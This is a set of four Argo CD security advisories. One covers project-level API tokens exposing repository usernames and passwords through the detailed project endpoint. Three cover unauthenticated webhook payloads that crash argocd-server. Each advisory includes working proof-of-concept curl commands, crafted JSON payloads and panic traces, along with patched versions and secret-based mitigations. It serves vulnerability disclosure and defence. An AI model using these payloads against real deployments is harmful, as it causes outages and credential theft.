Summary Argo CD API tokens with project-level permissions are able to retrieve sensitive repository credentials (usernames, passwords) through the project details API endpoint, even when the token only has standard application management permissions and no explicit access to secrets.

Component: Project API (/api/v1/projects/{project}/detailed)

Vulnerability Details Expected Behavior API tokens should require explicit permission to access sensitive credential information. Standard project permissions should not grant access to repository secrets. Actual Behavior API tokens with basic project permissions can retrieve all repository credentials associated with a project through the detailed project API endpoint.

Note: This vulnerability does not only affect project-level permissions. Any token with project get permissions is also vulnerable, including global permissions such as: p, role/user, projects, get, , allow

Steps to Reproduce

1. Create an API token with the following project-level permissions: p, proj:myProject:project-automation-role, applications, sync, myProject/, allow p, proj:myProject:project-automation-role, applications, action/argoproj.io/Rollout/, myProject/, allow p, proj:myProject:project-automation-role, applications, get, myProject/, allow

2. Call the project details API: bashcurl -sH "Authorization: Bearer $ARGOCDAPITOKEN" \ "https://argocd.example.com/api/v1/projects/myProject/detailed" 3. Observe that the response includes sensitive repository credentials: { "repositories": [ { "username": "<REDACTED>", "password": "<REDACTED>", "type": "helm", "name": "test-helm-repo", "project": "myProject" } ] }

Patches

v3.1.2 v3.0.14 v2.14.16 v2.13.9

Credits to @ashishgoyal111 for helping identify this issue.

Summary

Unpatched Argo CD versions are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients.

With the default configuration, no webhook.bitbucketserver.secret set, Argo CD’s /api/webhook endpoint will crash the entire argocd-server process when it receives a Bitbucket-Server push event whose JSON field repository.links.clone is anything other than an array.

A single unauthenticated curl request can push the control-plane into CrashLoopBackOff; repeating the request on each replica causes a complete outage of the API.

Details go // webhook.go (Bitbucket-Server branch in affectedRevisionInfo)

for , l := range payload.Repository.Links["clone"].([]any) { // <- unsafe cast link := l.(map[string]any) ... }

If links.clone is a string, number, object, or null, the first type assertion panics: interface conversion: interface {} is string, not []interface {}

The worker goroutine created by startWorkerPool lacks a recover, so the panic terminates the whole binary.

PoC

Save as payload-panic.json - note the non-array links.clone.

json { "eventKey": "repo:refschanged", "repository": { "name": "guestbook", "fullName": "APP/guestbook", "links": { "clone": "boom" } }, "changes": [ { "ref": { "id": "refs/heads/master" } } ] }

shell curl -k -X POST https://argocd.example.com/api/webhook \ -H 'X-Event-Key: repo:refschanged' \ -H 'Content-Type: application/json' \ --data-binary @payload-panic.json

Observed crash (argocd-server restart):

panic: interface conversion: interface {} is string, not []interface {} goroutine 192 [running]: github.com/argoproj/argo-cd/v3/server/webhook.affectedRevisionInfo webhook.go:209 +0x1218 ...

Mitigation

If you use Bitbucket Server and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.

If you do not use Bitbucket Server, you can set the webhook secret to a long, random value to effectively disable webhook handling for Bitbucket Server payloads.

diff apiVersion: v1 kind: Secret metadata: name: argocd-secret type: Opaque data: + webhook.bitbucketserver.secret: <your base64-encoded secret here>

For more information

Open an issue in the Argo CD issue tracker or discussions Join us on Slack in channel #argo-cd

Credits

Discovered by Jakub Ciolek at AlphaSense.

Summary

In the default configuration, webhook.azuredevops.username and webhook.azuredevops.password not set, Argo CD’s /api/webhook endpoint crashes the entire argocd-server process when it receives an Azure DevOps Push event whose JSON array resource.refUpdates is empty.

The slice index [0] is accessed without a length check, causing an index-out-of-range panic.

A single unauthenticated HTTP POST is enough to kill the process.

Details

go case azuredevops.GitPushEvent: // util/webhook/webhook.go -- line ≈147 revision = ParseRevision(payload.Resource.RefUpdates[0].Name) // panics if slice empty change.shaAfter = ParseRevision(payload.Resource.RefUpdates[0].NewObjectID) change.shaBefore= ParseRevision(payload.Resource.RefUpdates[0].OldObjectID) touchedHead = payload.Resource.RefUpdates[0].Name == payload.Resource.Repository.DefaultBranch

If the attacker supplies "refUpdates": [], the slice has length 0.

The webhook code has no recover(), so the panic terminates the entire binary.

PoC

payload-azure-empty.json: json { "eventType": "git.push", "resource": { "refUpdates": [], "repository": { "remoteUrl": "https://example.com/dummy", "defaultBranch": "refs/heads/master" } } }

curl call:

shell curl -k -X POST https://argocd.example.com/api/webhook \ -H 'X-Vss-ActivityId: 11111111-1111-1111-1111-111111111111' \ -H 'Content-Type: application/json' \ --data-binary @payload-azure-empty.json

Observed crash:

panic: runtime error: index out of range [0] with length 0

goroutine 205 [running]: github.com/argoproj/argo-cd/v3/util/webhook.affectedRevisionInfo webhook.go:147 +0x1ea5 ...

Mitigation

If you use Azure DevOps and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.

If you do not use Azure DevOps, you can set the webhook secrets to long, random values to effectively disable webhook handling for Azure DevOps payloads.

diff apiVersion: v1 kind: Secret metadata: name: argocd-secret type: Opaque data: + webhook.azuredevops.username: <your base64-encoded secret here> + webhook.azuredevops.password: <your base64-encoded secret here>

For more information

Open an issue in the Argo CD issue tracker or discussions Join us on Slack in channel #argo-cd

Credits

Discovered by Jakub Ciolek at AlphaSense.

Summary

Unpatched Argo CD versions are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients.

With the default configuration, no webhook.gogs.secret set, Argo CD’s /api/webhook endpoint will crash the entire argocd-server process when it receives a Gogs push event whose JSON field commits[].repo is not set or is null.

Details

Users can access /api/webhook without authentication, and when accessing this endpoint, the Handler function parses webhook type messages according to the header (e.g. X-Gogs-Event) and body parameters provided by the user. The Parse function simply unmarshals JSON-type messages. In other words, it returns a data structure even if the data structure is not exactly matched.

The affectedRevisionInfo function parses data according to webhook event types(e.g. gogsclient.PushPayload). However, due to the lack of data structure validation corresponding to these events, an attacker can cause a Denial of Service (DoS) attack by sending maliciously crafted data. because of Repository is Pointer Type.

go func affectedRevisionInfo(payloadIf any) (webURLs []string, revision string, change changeInfo, touchedHead bool, changedFiles []string) { switch payload := payloadIf.(type) { // ... case gogsclient.PushPayload: webURLs = append(webURLs, payload.Repo.HTMLURL) // bug // ... } return webURLs, revision, change, touchedHead, changedFiles }

PoC

payload-gogs.json

json { "ref": "refs/heads/master", "before": "0000000000000000000000000000000000000000", "after": "0a05129851238652bf806a400af89fa974ade739", "commits": [{}] }

shell curl -k -v https://argocd.example.com/api/webhook \ -H 'X-Gogs-Event: push' \ -H 'Content-Type: application/json' \ --data-binary @/tmp/payload-gogs.json

An attacker can cause a DoS and make the argo-cd service unavailable by continuously sending unauthenticated requests to /api/webhook.

panic: runtime error: invalid memory address or nil pointer dereference [signal SIGSEGV: segmentation violation code=0x1 addr=0x68 pc=0x280f494]

goroutine 302 [running]: github.com/argoproj/argo-cd/v2/util/webhook.affectedRevisionInfo({0x3bd8240?, 0x40005a7030?}) /go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:233 +0x594 github.com/argoproj/argo-cd/v2/util/webhook.(ArgoCDWebhookHandler).HandleEvent(0x40000f9140, {0x3bd8240?, 0x40005a7030?}) /go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:254 +0x38 github.com/argoproj/argo-cd/v2/util/webhook.(ArgoCDWebhookHandler).startWorkerPool.func1() /go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:128 +0x60 created by github.com/argoproj/argo-cd/v2/util/webhook.(ArgoCDWebhookHandler).startWorkerPool in goroutine 1 /go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:121 +0x28

Mitigation

If you use Gogs and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.

If you do not use Gogs, you can set the webhook secret to a long, random value to effectively disable webhook handling for Gogs payloads.

diff apiVersion: v1 kind: Secret metadata: name: argocd-secret type: Opaque data: + webhook.gogs.secret: <your base64-encoded secret here>

For more information

Open an issue in the Argo CD issue tracker or discussions Join us on Slack in channel #argo-cd

Credit

Sangjun Song (s0ngsari) at Theori (theori.io)